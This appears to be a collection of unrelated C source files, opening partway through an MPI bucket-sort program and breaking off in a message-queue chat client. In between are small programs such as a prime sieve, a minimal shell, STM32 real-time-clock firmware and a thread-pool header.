if(my_rank == 0){
printf("N: %ld\n\n", globalSum_cnt);
}
}
// Timing
double tstart=MPI_Wtime();
int inSize = 0; // incoming size/recv size buffer, assume 0 incase no data recieved from rank x;
int all_inSize[nprocs];
int ror = MAXVAL/nprocs; //range over ranks
//everyone
int mystart = my_rank*ror;
int myend = mystart + ror;
// unless my rank is last rank
if(my_rank == nprocs-1){
myend += MAXVAL%nprocs;
}
// mybucket = [mystart, myend)
if(VERBOSE){
printf("My rank: %d, My bucket: [%d, %d) \n", my_rank, mystart, myend);
}
//allocate old_temp_data = size data (localN)
int * oldData = (int*)malloc(sizeof(int)*localN);
// add data to old_temp_data
for(int i = 0; i < localN; i++){
oldData[i] = data[i];
}
//allocate new_temp_data = size old_temp_data
int * newData = (int*)malloc(sizeof(int)*localN);
int oldData_len = localN;
int newData_len;
MPI_Status status;
MPI_Request request;
// Testing ****************************************************************
int total_sendLen = 0;
int * send_lenPR = (int*)malloc(sizeof(int)*nprocs);
int ** sendDataSetBuffer_PR=(int**)malloc(sizeof(int*)*nprocs); // perRank
if(VERBOSE){
if(my_rank == 0){
printf("Allocating sendDataSetBuffer before for loop\n");
}
}
for(int i = 0; i < nprocs; i++){
send_lenPR[i] = 0;
sendDataSetBuffer_PR[i] =(int*)malloc(sizeof(int)*localN);
}
if(VERBOSE){
if(my_rank == 0){
printf("Allocating sendDataSetBuffer first for loop complete \n");
}
}
// ****************************************************************
// for each rank expect my rank
for(int i = 0; i < nprocs; i++){
if(i != my_rank){
// i bucket
int istart = i*ror;
int iend = istart + ror;
if(i == nprocs-1){
iend += MAXVAL%nprocs;
}
// Number of data moved counter
int send_len = 0;
// postion in new data counter
newData_len = 0;
// for all old_temp_data
for(int j = 0; j < oldData_len; j++){
// if not mine and in i's bucket
if((oldData[j] < mystart || oldData[j] >= myend) &&
(oldData[j] >= istart && oldData[j] < iend)){
// put in send buffer
sendDataSetBuffer[send_len] = oldData[j];
//update send position/number of data being moved
send_len++;
total_sendLen += send_len;
}else{
//new_temp_data adds data not sent
newData[newData_len] = oldData[j];
// update new_temp_data_pos
newData_len++;
}
}
oldData_len = newData_len;
// move new_temp_data to old_temp_data
for(int j = 0; j < oldData_len; j++){
oldData[j] = newData[j];
}
send_lenPR[i] = send_len;
for(int j = 0; j < send_len; j++){
sendDataSetBuffer_PR[i][j] = sendDataSetBuffer[j];
}
}
}
// add old_temp_data into myDataSet;
int data_len = 0;
for(int i = 0; i < newData_len; i++){
myDataSet[i] = oldData[i];
data_len++;
}
for (int i = 0; i < nprocs; i++){
if(i != my_rank){
MPI_Isend(&send_lenPR[i], 1, MPI_INT, i, 0, MPI_COMM_WORLD, &request);
if(VERBOSE){
printf("My rank: %d, Sending to rank: %d, sent: %d\n", my_rank, i, send_lenPR[i]);
}
MPI_Isend(sendDataSetBuffer_PR[i], send_lenPR[i], MPI_INT, i, 1, MPI_COMM_WORLD, &request);
}
}
for(int i = 0; i < nprocs; i++){
if(i != my_rank){
MPI_Recv(&inSize, 1, MPI_INT, i, 0, MPI_COMM_WORLD, &status);
all_inSize[i] = inSize;
if(VERBOSE){
printf("My rank: %d, Receiving from rank: %d, recieved: %d \n", my_rank, i, inSize);
}
MPI_Recv(recvDatasetBuffer, inSize, MPI_INT, i, 1, MPI_COMM_WORLD, &status);
for(int j = 0; j < inSize; j++){
myDataSet[data_len+j] = recvDatasetBuffer[j];
}
data_len += inSize;
}
}
if(nprocs == 1){
data_len = localN;
for(int i = 0; i < data_len; i++){
myDataSet[i] = data[i];
}
}
if(VERBOSE){
localsum_cnt = 0;
localsum_cnt =data_len;
globalSum_cnt = 0;
MPI_Reduce(&localsum_cnt, &globalSum_cnt, 1, MPI_UNSIGNED_LONG, MPI_SUM, 0, MPI_COMM_WORLD);
if(my_rank == 0){
printf("N: %ld\n\n", globalSum_cnt);
}
}
// Timing reduction
double tend=MPI_Wtime();
double globalMax_distTime;
double dist_time = tend - tstart;
MPI_Reduce(&dist_time, &globalMax_distTime, 1, MPI_DOUBLE, MPI_MAX, 0, MPI_COMM_WORLD);
if(my_rank == 0){
printf("Time to Distribute (s): %f\n", globalMax_distTime);
}
if(VERBOSE){
if(my_rank == 2){
printf("My rank: %d, My data: ", my_rank);
for(int i = 0; i < data_len; i++){
printf(" %d ", myDataSet[i]);
}
printf("\n");
}
}
// Timing Sort
double tSort_start=MPI_Wtime();
//sort
qsort(myDataSet, data_len, sizeof(int), compfn);
double tSort_end=MPI_Wtime();
double globalMax_sortTime;
double sort_time = tSort_end - tSort_start;
MPI_Reduce(&sort_time, &globalMax_sortTime, 1, MPI_DOUBLE, MPI_MAX, 0, MPI_COMM_WORLD);
//total time
double globalMax_totalTime;
double totalTime = dist_time+sort_time;
MPI_Reduce(&totalTime, &globalMax_totalTime, 1, MPI_DOUBLE, MPI_MAX, 0, MPI_COMM_WORLD);
if(my_rank == 0){
printf("Time to Sort (s): %f\n", globalMax_sortTime);
printf("Total Time (s): %f\n\n", globalMax_totalTime);
}
if(VERBOSE){
if(my_rank == 2){
printf("My rank: %d, My data: ", my_rank);
for(int i = 0; i < data_len; i++){
printf(" %d ", myDataSet[i]);
}
printf("\n");
}
}
if(VERBOSE){
localsum_cnt =data_len;
globalSum_cnt = 0;
MPI_Reduce(&localsum_cnt, &globalSum_cnt, 1, MPI_UNSIGNED_LONG, MPI_SUM, 0, MPI_COMM_WORLD);
if(my_rank == 0){
printf("N: %ld\n\n", globalSum_cnt);
}
}
// Checking
localsum = 0;
for(int i = 0; i < data_len; i++){
localsum += myDataSet[i];
}
globalSum = 0;
MPI_Reduce(&localsum, &globalSum, 1, MPI_UNSIGNED_LONG, MPI_SUM, 0, MPI_COMM_WORLD);
if(my_rank == 0){
printf("Sum After: %ld\n\n", globalSum);
}
//free
free(newData);
free(oldData);
///////////////////////////////////////////////////////////////////////////////////////////////////////////
free(data);
free(sendDataSetBuffer);
free(recvDatasetBuffer);
free(myDataSet);
MPI_Finalize();
return 0;
}
//generates data [0,MAXVAL)
void generateData(int * data, int SIZE)
{
for (int i=0; i<SIZE; i++)
{
data[i]=rand()%MAXVAL;
}
} |
C | #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
/*
* Create a C program that runs a bash command received as a command line argument - popen.
*/
int main(int argc, char** argv) {
if (argc < 2) {
printf("Invalid command\n");
exit(1);
}
char* buf = (char*)malloc(100* sizeof(char));
memset(buf, 0, 100 * sizeof(char));
char* cmd = (char*)malloc(100* sizeof(char));
memset(cmd, 0, 100 * sizeof(char));
int i = 0;
for (i = 0; i < argc - 1; ++i) {
strcat(cmd, argv[i + 1]);
strcat(cmd, " ");
}
FILE* file = popen(cmd, "r");
if (file == NULL) {
perror("Error on popen");
}else {
int k;
while ((k = fread(buf, 1, 100, file)) > 0 ) {
printf("%s", buf);
memset(buf, 0, 100 * sizeof(char));
}
printf("\n");
}
pclose(file);
free(buf);
free(cmd);
return 0;
}
|
C | /*
* Testing ADT Dynamic Strings
* Authors: Josias Cavalcante, Valney Junior
* Last edit: May, 2021
*/
#include "dstring.h"
#include <stdio.h>
#include <stdlib.h>
int main(void){
// Create a dynamic string made by a multiple concatenation of dynamic strings.
//dstring sint = dstring_newInt(54321);
dstring sres = dstring_multiconcat(
N$("Greetings, "),
N$("Mr. "),
N$("Foo! "),
Nf$(4.56789f, 4),
Ni$(13),
N$(" "),
Nd$(123.4567890, 5),
NULL
);
if(sres != NULL) {
printf("Mensagem: %s\n", $(sres));
printf("Tamanho: %lu\n", L$(sres));
dstring_free(sres);
}
}
|
C | /***
* @brief sieve.h function declarations and definitons to
* implement the sieve algorithm to find
* prime numbers
*
* @author Josh Bussis
* @date 2020/11/18
*/
#ifndef SIEVE_H__
#define SIEVE_H__
#include <stdlib.h>
/* FUNCTION DECLARATIONS */
int sieve(int max, int * ret);
/* FUNCTION DEFINITIONS */
/**
* @brief takes in a max number and finds all the primes up to,
* and including, that number
* (precondition: max num is positive, and ret has been
* allocated space to fit max number of
* integers)
*
* @param max (int: precondition: max >= 2)
* @param ret (int*: precondition: ret has been allocated space
* for max (the variable) integers)
* @return count (int: the number of primes)
*/
int sieve(int max, int * ret)
{
int * temp;
int end, index, count;
count = 0; /* make sure count starts at 0 */
temp = malloc(max * sizeof(int) - 1); /* allocate mem for temp array */
for (int i = 2; i < max+1; ++i) /* fill temp with values */
temp[i-2] = i;
for (int i = 0; i < max-1; ++i) { /* go through the array and sieve out non-primes */
if (temp[i] != 0) {
end = max / temp[i]; /* calculate how many multiples of current value there can be */
for (int j = 1; j < end; ++j) { /* loop through all mulitples of current value and clear them */
index = i + (temp[i] * j); /* calculate new index */
temp[index] = 0; /* clear at that index */
}
}
}
index = 0; /* reset index to 0 */
count = 0; /* reset count to 0 */
for (int i = 0; i < max-1; ++i) { /* take all the valid values in temp, and store in ret */
if (temp[i] != 0) { /* if theres a valid value */
ret[index++] = temp[i]; /* store value in ret */
++count;
}
}
ret = realloc(ret, count * sizeof(int)); /* re-allocate space for ret/trim off uneeded space at the end*/
free(temp); /* deallocate space for temp */
return count; /* return the number of primes */
}
#endif /* end of sieve.h */
|
C | #include"stack.h"
#include"stack.c"
#include<stdio.h>
int main()
{
int i;
for(i=0;i<10;++i)
push(i);
for(i=0;i<10;++i)
printf("%d,",pop());
return 0;
} |
C | /**
* main.c
* I2C1 DS1307 ( RTC)
* Nokia5110
* , define.
* PLL, 24 .
* 8 .
* .
* Keil 5.20
* STM32F100RB
* DS1307 ( Tiny RTS I2C)
* Nokia5110
* V.0.01 RTC DS1307
* 09.06.2016
* 27.06.2016
* ()
* 1 DS1307
*/
#include "def_f100x.h"
#include "PLL.h"
#include "SysTick.h"
#include "I2C.h"
#include "SPI.h"
#include "ds1307.h"
#include "Nokia5110.h"
void PortA_Init(void);
void PortC_Init(void);
unsigned long SetTime;
void EXTI0_IRQHandler(void){
SysTick_Wait10ms(20); // 200
EXTI_PR |= 0x00000001; //
SetTime = 1;
}
// Red SparkFun Nokia 5110 (LCD-10168)
// -----------------------------------
// Signal (Nokia 5110) LaunchPad pin
// 3.3V (VCC, pin 1) power 3.3V
// Ground (GND, pin 2) ground
// SPI_NCC (SCE, pin 3) connected to PA4
// Reset (RST, pin 4) connected to PA2
// Data/Command (D/C, pin 5) connected to PA3
// SPI_MOSI (DN, pin 6) connected to PA7
// SPO_SCK (SCLK, pin 7) connected to PA5
// back light (LED, pin 8) not connected, consists of 4 white LEDs which draw ~80mA total
// Tiny RTS I2C
// -------------------
// Signal (Tiny RTS I2C) LaunchPad pin
// 5.0V (VCC, pin 1) power 5.0V
// Ground (GND, pin 2) ground
// SCL (SCL, pin ) PB6
// SDA (SDA, pin ) PB7
int main()
{
unsigned char clock[64] = {0}; //
// 0- , . 16:00:00, 19.06.16, 24
// , set[9]
unsigned char set[8] = {0x0, 0x0, 0x22, 0x22, 0x01, 0x27, 0x06, 0x16};
char data;
PLL_Init();
SPI_Init();
SysTick_Init();
DS1307_Init();
Nokia5110_Init();
PortC_Init();
PortA_Init();
I2C1_Init();
// , PC9. , PC8.
GPIOC_BSRR = 0x2000100;
Nokia5110_Clear();
Nokia5110_OutString("DS1307");
Nokia5110_SetCursor(0, 1);
Nokia5110_OutString("------");
// I2C1_Transmit(set, 8, ADDR_DS1307);
while(1){
// ,
if(SetTime == 1){
I2C1_Transmit(set, 8, ADDR_DS1307);
SetTime = 0;
}
// 0
clock[0] = 0;
I2C1_Transmit(clock, 1, ADDR_DS1307);
I2C1_Receive(clock, 7, ADDR_DS1307);
// Nokia5110
// CH
Nokia5110_SetCursor(0, 5);
Nokia5110_OutString("CH: ");
data = (clock[0] >> 7) & 0x1;
Nokia5110_OutBCD(data);
//
Nokia5110_SetCursor(0, 2);
//
data = (clock[2] >> 4) & 0x3; // 10-
Nokia5110_OutUDec(data);
data = clock[2] & 0xF; //
Nokia5110_OutBCD(data);
Nokia5110_OutChar(':');
//
data = (clock[1] >> 4) & 0x7; // 10-
Nokia5110_OutBCD(data);
data = clock[1] & 0xF; //
Nokia5110_OutBCD(data);
Nokia5110_OutChar(':');
//
data = (clock[0] >> 4) & 0x7; // 10-
Nokia5110_OutBCD(data);
data = clock[0] & 0xF; //
Nokia5110_OutBCD(data);
//
//
Nokia5110_SetCursor(0, 3);
data = (clock[4] >> 4) & 0x3; // 10-
Nokia5110_OutBCD(data);
data = clock[4] & 0xF; //
Nokia5110_OutBCD(data);
Nokia5110_OutChar('.');
//
data = (clock[5] >> 4) & 0x1; // 10-
Nokia5110_OutBCD(data);
data = clock[5] & 0xF; //
Nokia5110_OutBCD(data);
Nokia5110_OutChar('.');
//
data = (clock[6] >> 4) & 0xF; // 10-
Nokia5110_OutBCD(data);
data = clock[6] & 0xF; //
Nokia5110_OutBCD(data);
SysTick_Wait10ms(50);
}
}
void PortA_Init(void)
{
unsigned long delay;
// 1) PortA. RCC_ARB2ENR
RCC_APB2ENR |= RCC_APB2ENR_IOPAEN;
// 2)
delay = RCC_APB2ENR;
// 3)
// GPIO . . GPIOA_CRL
// PA0
NVIC_ICER0 |= 0x00000040;
AFIO_EXTICR1 &= ~0x0000000F; //
AFIO_EXTICR1 |= AFIO_EXTICR1_PA0; // a) PA0 EXTI0(3:0) - b0000
EXTI_IMR |= 0x00000001; // b)
EXTI_RTSR |= 0x00000001; // c)
EXTI_PR |= 0x00000001; // d)
// NVIC
NVIC_ISER0 |= 0x00000040;
}
void PortC_Init(void)
{
unsigned long delay;
// 1) PortC. RCC_ARB2ENR
RCC_APB2ENR |= RCC_APB2ENR_IOPCEN;
// 2)
delay = RCC_APB2ENR;
// 3)
// 4) PC8-9 GPIO . GPIOC_CRH
GPIOC_CRH &= (~0xFF);
GPIOC_CRH |= 0x22;
// PC7 . GPIOC_CRL
// GPIOC_CRL &=(~0xF0000000);
// GPIOC_CRL |= 0x20000000;
}
|
C | #include <stdlib.h>
#include <stdio.h>
#include <openjpeg.h>
#include <libgen.h>
#include <string.h>
#include "util.h"
#include "file.h"
char* open_img_source(char* file_path,long* length){
FILE *reader;
unsigned char *src;
reader = fopen(file_path, "rb");
if(!reader){
printf("Can't open file\n");
}else{
printf("File [%s] opened!\n",file_path);
}
fseek(reader, 0, SEEK_END);
*length = ftell(reader);
fseek(reader, 0, SEEK_SET);
src = (unsigned char*) malloc(*length);
printf("\nlen:%u\n",*length);
fread(src, 1, *length, reader);
fclose(reader);
return src;
}
int get_file_format(char *filename) {
unsigned int i;
static const char *extension[] = {
"pgx", "pnm", "pgm", "ppm", "bmp", "tif", "raw", "tga", "j2k", "jp2", "j2c"
};
static const int format[] = {
PGX_DFMT, PXM_DFMT, PXM_DFMT, PXM_DFMT, BMP_DFMT, TIF_DFMT, RAW_DFMT, TGA_DFMT, J2K_CFMT, JP2_CFMT, J2K_CFMT
};
char * ext = strrchr(filename, '.');
if (ext == NULL)
return -1;
ext++;
for(i = 0; i < sizeof(format)/sizeof(*format); i++) {
if(strncasecmp(ext, extension[i], 3) == 0) {
return format[i];
}
}
return -1;
}
char * get_file_name(char *name){
return basename(name);
} |
C | #include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <stdlib.h>
#define MAX_STR_SIZE 64
int main(int argc, char* argv[]){
for(int i = 0; i < strlen(argv[1]); i++){
argv[1][i] = tolower(argv[1][i]);
}
printf("%s\n",argv[1]);
return EXIT_SUCCESS;
} |
C | #ifndef __THREADPOOL_H_
#define __THREADPOOL_H_
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <signal.h>
#include <assert.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#define DEFAULT_TIME 1 /*默认时间10s*/
#define MIN_WAIT_TASK_NUM 10 /*当任务数超过了它,就该添加新线程了*/
#define DEFAULT_THREAD_NUM 10 /*每次创建或销毁的线程个数*/
#define true 1
#define false 0
/*任务*/
typedef struct threadpool_task_t{
void *(*function)(void *);
void *arg;
}threadpool_task_t;
/*线程池管理*/
typedef struct threadpool_t{
pthread_mutex_t lock; /* 锁住整个结构体 */
pthread_mutex_t thread_counter; /* 用于使用忙线程数时的锁 */
pthread_cond_t queue_not_full; /* 条件变量,任务队列不为满 */
pthread_cond_t queue_not_empty; /* 任务队列不为空 */
pthread_t *threads; /* 存放线程的tid,实际上就是管理了线 数组 */
pthread_t admin_tid; /* 管理者线程tid */
threadpool_task_t *task_queue; /* 任务队列 */
/*线程池信息*/
int min_thr_num; /* 线程池中最小线程数 */
int max_thr_num; /* 线程池中最大线程数 */
int live_thr_num; /* 线程池中存活的线程数 */
int busy_thr_num; /* 忙线程,正在工作的线程 */
int wait_exit_thr_num; /* 需要销毁的线程数 */
/*任务队列信息*/
int queue_front; /* 队头 */
int queue_rear; /* 队尾 */
int queue_size;
/* 存在的任务数 */
int queue_max_size; /* 队列能容纳的最大任务数 */
/*状态*/
int shutdown; /* true为关闭 */
}threadpool_t;
/*创建线程池*/
threadpool_t *threadpool_create(int min_thr_num, int max_thr_num, int queue_max_size);
/*销毁线程池*/
int threadpool_destroy(threadpool_t *pool);
/*管理线程*/
void *admin_thread(void *threadpool);
/*线程是否存在*/
//int is_thread_alive(pthread_t tid);
/*工作线程*/
void *threadpool_thread(void *threadpool);
/*向线程池的任务队列中添加一个任务*/
int threadpool_add_task(threadpool_t *pool, void *(*function)(void *arg), void *arg);
#endif
|
C | #include "my_printf.h"
t_var_args g_var_args[] =
{
{'s', var_s},
{'c', var_c},
{'i', var_i},
{'d', var_d},
{'o', var_o},
{'u', var_u},
{'x', var_x},
{'X', var_xx},
{'%', var_percent},
{0, 0}
};
static void call_select_var(t_struct *st, va_list *list, char *str,
int *pos)
{
int i;
if (str[*pos] == '\n')
copy_into_buf(st, "\n", 1);
if (str[(*pos)++] != '%')
return;
for (i = 0; g_var_args[i].sym && g_var_args[i].sym != str[(*pos)]; i++);
if (!g_var_args[i].sym)
return ;
g_var_args[i].f(list, st);
++(*pos);
}
void main_process(t_struct *st, char *txt, va_list *list)
{
int old_pos;
int new_pos;
int size_str;
init_buf(st, txt);
size_str = my_strlen(txt);
for (old_pos = 0; old_pos < size_str; old_pos = new_pos)
{
new_pos = get_pos_substring(st, txt, old_pos);
manager_buffer(st, txt + old_pos, new_pos - old_pos);
call_select_var(st, list, txt, &new_pos);
}
}
|
C | #include "../elf.h"
void*
elf_get_section(void* elf, const char* name, size_t* szp) {
int si = elf_section_find(elf, name);
if(si != -1) {
if(szp)
*szp = elf_section_size(elf, si);
return elf_section_offset(elf, si);
} else {
if(szp)
*szp = 0;
}
return 0;
}
|
C | #include<stdio.h>
int show(int num)
{
if(num%2==0)
return 1;
else
return 0;
}
int main()
{
int num;
printf("enter num\n");
scanf("%d",&num);
printf("\n%d",show(num));
return 0;
} |
C | #include <string.h>
char *findstr(char *str, char *tgt) {
int len=strlen(tgt);
for(; *str; str++)
if (!strncmp(str, tgt, len)) return str;
return NULL;
}
|
C | #include <wiringPi.h>
#include <softPwm.h>
int main (void) {
int intensity = 0;
wiringPiSetupGpio();
pinMode (18, PWM_OUTPUT);
pinMode (23, OUTPUT);
pinMode (24, OUTPUT);
for(;;){
for(intensity=0; intensity<1024; intensity++){
pwmWrite(18,intensity);
delay(1);
}
pwmWrite(18,0);
softPwmCreate(23,0,100);
for(intensity=0; intensity<100; intensity++){
softPwmWrite(23,intensity);
delay(20);
}
softPwmStop(23);
softPwmCreate(24,0,100);
for(intensity=0; intensity<100; intensity++){
softPwmWrite(24,intensity);
delay(20);
}
softPwmStop(24);
}
return 0;
}
|
C |
#define FRAMES 64
#define PROCESSOS 20
#define PAGINAS_VIRTUAIS 50
#define WORKING_SET 4
#define TEMPO_NOVAREQ 3
#define TEMPO_NOVOPROC 3
#define INF 0x7FFFFFFF
// tempo, com minutos e segundos, para guardar o relógio
typedef struct tempo {
int m;
int s;
} tempo;
// frame da memória, que contem uma PV de um processo
typedef struct frame {
int processo;
int pv;
} frame;
// processo (representado por threads no trabalho)
typedef struct processo {
int tabela[PAGINAS_VIRTUAIS];
int working_set[WORKING_SET];
int entrada; // momento em que o processo entrou na MP
} processo;
|
C | #include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "garith.h"
int main(int argc, char **argv){
/*Plan: test multiplication by creating table of powers of some element.*/
/*Have sage verify the correctness*/
gf2128 elt;
gf2128 pow;
unsigned char coeffs[128];
bzero(coeffs,128);
coeffs[1]=1;
gf2128unpackcoeffs(&elt, coeffs);
gf2128zero(&pow);
gf2128add(&pow, &pow, &elt);
printf("xpows=[1,");
for(int i=1; i<1024; i++){
gf2128packcoeffs(coeffs, &pow);
for(int j=0; j<127; j++){
printf("%01x*x^%d+", coeffs[j], j);
}
printf("%01x*x^127,\n", coeffs[127]);
gf2128mul(&pow, &pow, &elt);
}
printf("]");
exit(0);
}
|
C | #include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <stdlib.h>
void child_p(char **);
void read_args(char *, char **, char *);
int check_in(char **);
main(){
while(1){
printf("$");
char s[100];
char *args[10];
read_args(s, args," \n");
pid_t pid = fork();
if(pid==0){
child_p(args);
}
else{
wait(NULL);
}
}
}
void child_p(char **args){
//printf("******%d****\n",check_in(args));
int r = check_in(args);
if(r < 0)
execvp(args[0], args);
else{
char *args1[10], *args2[10], *op;
int i = 0;
op = args[r];
for(i = 0; i < r; i++)
args1[i] = args[i];
args1[i] = NULL;
for( i = 0, ++r; args[r] != NULL; r++, i++)
args2[i] = args[r];
if( *op == '<'){
int fd = open(args2[0], O_RDONLY);
close(0);
dup(fd);
}
else if( strcmp(op,">") == 0){
int fd = open(args2[0], O_WRONLY|O_CREAT|O_TRUNC , 0644);
close(1);
dup(fd);
}
else if( strcmp(op,">>") == 0){
int fd = open(args2[0], O_WRONLY|O_CREAT|O_APPEND , 0644);
close(1);
dup(fd);
}
else if( *op == '|'){
int p[2];
pipe(p);
pid_t pid2=fork();
if(pid2 == 0){
close(1);
dup(p[1]);
execvp(args1[0],args1);
}
else{
wait(NULL);
close(p[1]);
close(0);
dup(p[0]);
execvp(args2[0],args2);
}
}
execvp(args1[0],args1);
}
}
void read_args(char *s, char **args, char *delim){
int i = 0,j = 0, k = 0;
while(!fgets(s,100,stdin));
args[i] = strtok(s,delim);
while(args[i] != NULL){
//printf("%s",args[i]);
args[++i] = strtok(NULL,delim);
}
}
int check_in(char **args){
int i = 0;
for( i = 0; args[i] != NULL; i++)
if(*args[i] == '<' || *args[i] == '>' || *args[i] == '|')
return i;
return -1;
}
|
C | #include <stdio.h>
/*my memcopy fucntion*/
int main(void) {
int x = 3490;
int *p = &x;
int **q = &p;
int ***r = &q;
int ****s = &r;
int *****t = &s;
printf("%d -> x\n\a",x);
printf("%p -> &x\n\a",&x);
printf("%d -> *p\n\a",*p);
printf("%p -> &p\n\a",&p);
printf("%d -> **q\n\a",**q);
printf("%p -> &q\n\a",&q);
printf("%d -> ***r\n\a",***r);
printf("%p -> &r\n\a",&r);
printf("%d -> ****s\n\a",****s);
printf("%p -> &s\n\a",&s);
int const ***const po;//po++ is not allowed on const
int *const cp = &x;
int *const *const cq = &cp;//will complain if *const isnt set
/*causes
ptrptr.c:23:8: warning: initializing 'int **' with an expression of type 'int *const *' discards qualifiers [-Wincompatible-pointer-types-discards-qualifiers]
int **cq = &cp;
^ ~~~
1 warning generated.
That is, we’re saying that q is type int **, and if you dereference that, the
rightmost * in the type goes away. So after the dereference, we have type int *. And we’re assigning &p into it which is a pointer to an int *const, or, in other
words, int *const *.
But q is int **! A type with different constness on the first *! So we get a warning that the const in p’s int *const * is being ignored and thrown away.
We can fix that by making sure q’s type is at least as const as p.
int x = 3490;
int *const p = &x;
int *const *q = &p;
And now we’re happy.
We could make q even more const. As it is, above, we’re saying, “q isn’t itself
const, but the thing it points to is const.” But we could make them both const:
int x = 3490;
int *const p = &x;
int *const *const q = &p; // More const!
And that works, too. Now we can’t modify q, or the pointer q points to.^^^
*/
}
|
C |
#include<stdio.h>
#include<stdlib.h>
#include<math.h>
float maxx (float x, float y)
{
float w,b,c,z,d;
if(x>y)
z= x-y;
else
z= y-x;
b = exp(-z);
w = log(1+b);
c = x+w;
d = y+w;
if(x>y)
return(c);
else
return(d);
}
|
C | #include "ipcserverclient.h"
#define NUM_THREADS 2
#define USAGE_STRING "Usage: receiving_client_key message_to_send (Example: 42 hello)\n"
#define INIT_USAGE "Invalid arguments.\nUsage: ./client.out running_server_key new_client_key\n"
/**
* Receives a message from the message queue and puts it in a buffer
* @param msgqid Queue key
* @param msgp pointer to message buffer
* @param mtype Type of message to recieve
*/
void receive_message(int msgqid, msgbuf * msgp, long mtype) {
//blocking receive
int bytesRead = msgrcv(msgqid, msgp, sizeof(struct data_st), mtype, 0);
if (bytesRead == -1) {
if (errno == EIDRM) {
fprintf(stderr, "Message queue removed while waiting!\n");
exit(0);
}
}
}
/**
* Sends a message to the client via the messsage queue
* @param message Message to send
* @param msgqid Queue key
* @param to server to send to
* @param from client/server key sent from
* @to_client client to send to
*/
void send_message(char message[MSGSTR_LEN], int msgqid, long to, long from, long to_client){
msgbuf new_msg;
new_msg.mtype = to; //reciever server
data_st ds;
ds.source = from;
ds.dest = to_client; //receiver client
char * null = "\0";
int length = strlen(message);
if(MSGSTR_LEN < length) length = MSGSTR_LEN;
int i;
//send a character at a time
for(i = 0; i < length; i++) {
strncpy(ds.msgstr, &(message[i]), 1);
new_msg.data = ds;
//blocking send to prevent error
int ret = msgsnd(msgqid, (void *) &new_msg, sizeof(data_st), 0);
if (ret == -1) {
perror("msgsnd: Error attempting to send message!");
exit(EXIT_FAILURE);
}
}
strncpy(ds.msgstr, null, 1);
new_msg.data = ds;
int ret = msgsnd(msgqid, (void *) &new_msg, sizeof(data_st), 0);
if (ret == -1) {
perror("msgsnd: Error attempting to send message!");
exit(EXIT_FAILURE);
}
}
/**
* Thread for running the sending of messages.
* @param arg Arguments needed to send messages
*/
void * send_thread(void * arg) {
int * qID = arg;
int * key = arg+sizeof(int);
int * client_key = arg+sizeof(int)*2;
int other_client_key;
char buffer[MSGSTR_LEN];
printf("You are now connected as client %d\n%s", *client_key, USAGE_STRING);
//continue to get user input for sending messages
while(fgets(buffer, MSGSTR_LEN, stdin)) {
if (buffer[strlen(buffer) - 1] == '\n') {
buffer[strlen(buffer) - 1] = '\0';
}
char* input = buffer;
if(strcmp(EXIT_STR, input) == 0) {
send_message(EXIT_STR, *qID, *key, *client_key, *key);
exit(0);
}
char* space = " ";
int start = 0;
int pos;
char numberbuff[255];
char messagebuff[255];
pos = strcspn(input, space);
//parsing out the key and message
if(pos) {
other_client_key = atoi(strncpy(numberbuff, input, pos));
if(other_client_key) {
char * message = buffer+pos+1;
//sending the message
printf("Sending \"%s\" to %d\n", message, other_client_key);
send_message(message, *qID, *key, *client_key, other_client_key);
//is it time to exit?
if(strcmp(message, EXIT_STR) == 0) exit(0); //exit if you say to exit
}
else printf(USAGE_STRING); // incorrect input
}
else printf(USAGE_STRING); // incorrect input
//clear the buffers
strncpy(numberbuff, "", 255); //clear buffer
strncpy(messagebuff, "", 255); //clear buffer
}
int * myretp = malloc(sizeof(int));
if (myretp == NULL) {
perror("malloc error");
pthread_exit(NULL);
}
*myretp = (*qID);
return myretp; /* Same as: pthread_exit(myretp); */
}
/**
* Thread that receives the messages
* @param arg Arguments needed to receive messages from the queue
*/
void * receive_thread(void * arg) {
int * qID = arg;
int * key = arg+sizeof(int);
int * client_key = arg+sizeof(int)*2;
int to;
int from;
char message[MSGSTR_LEN];
msgbuf tempbuf;
tempbuf.mtype = *client_key;
msgbuf messagebuf;
while(1) {
receive_message(*qID, &tempbuf, *client_key);
//move data from temp buffer to variables
to = tempbuf.data.dest;
from = tempbuf.data.source;
strncpy(message, tempbuf.data.msgstr, 1); //one character
//move from variables to local buffer
messagebuf.data.dest = to;
messagebuf.data.source = from;
strcat(messagebuf.data.msgstr, message);
//have to wait until all character are in. we can tell by the NULL character
if(strcmp(message, "\0") == 0) {
printf("Client %ld: \"%s\"\n", messagebuf.data.source, messagebuf.data.msgstr);
strncpy(messagebuf.data.msgstr, "", MSGSTR_LEN);
}
}
int * myretp = malloc(sizeof(int));
if (myretp == NULL) {
perror("malloc error");
pthread_exit(NULL);
}
*myretp = (*qID);
return myretp; /* Same as: pthread_exit(myretp); */
}
/**
* Start a created thread
* @param thread Thread to start
*/
void start_thread(pthread_t * thread) {
void * thread_ret_ptr;
int ret;
ret = pthread_join(*thread, &thread_ret_ptr);
if (ret == -1) { perror("Thread join error");
exit(EXIT_FAILURE);
}
if (thread_ret_ptr != NULL) {
int * intp = (int *) thread_ret_ptr;
printf("Receive thread returned: %d\n", *intp);
free(thread_ret_ptr);
}
}
/**
* Creates a thread based on type given
* @param thread Thread pointer to set
* @param vars Variables for the thread initialization
* @param thread_type Type of thread to create
*/
void create_thread(pthread_t * thread, void * vars, int thread_type) {
int ret;
if(thread_type == 1) ret = pthread_create(thread, NULL, send_thread, vars);
if(thread_type == 2) ret = pthread_create(thread, NULL, receive_thread, vars);
if (ret == -1) {
perror("pthread_create");
exit(EXIT_FAILURE);
}
}
/**
* Main program to run the sending
* of messages and receival of messages
* @param argc Argument count
* @param argv Argument array
* @return Exit code
*/
int main(int argc, char * argv[]) {
pthread_t threads[NUM_THREADS];
int targs[NUM_THREADS];
int i, ret, ret2;
int qID;
int key;
int client_key;
int vars[3];
char * input;
// 1st commandline argument = key of message queue
if(argc == 3) { // get command line argument
key = atoi(argv[1]);
client_key = atoi(argv[2]);
if(!key || !client_key) {
printf(INIT_USAGE);
exit(-1);
}
qID = msgget(key, 0); // 0 for making use of existing queue
}
else {
printf(INIT_USAGE);
exit(-1);
}
if(qID < 0) {
printf("Failed to get queue, got status: %d\n", qID);
exit(-1);
}
//values needed for threads
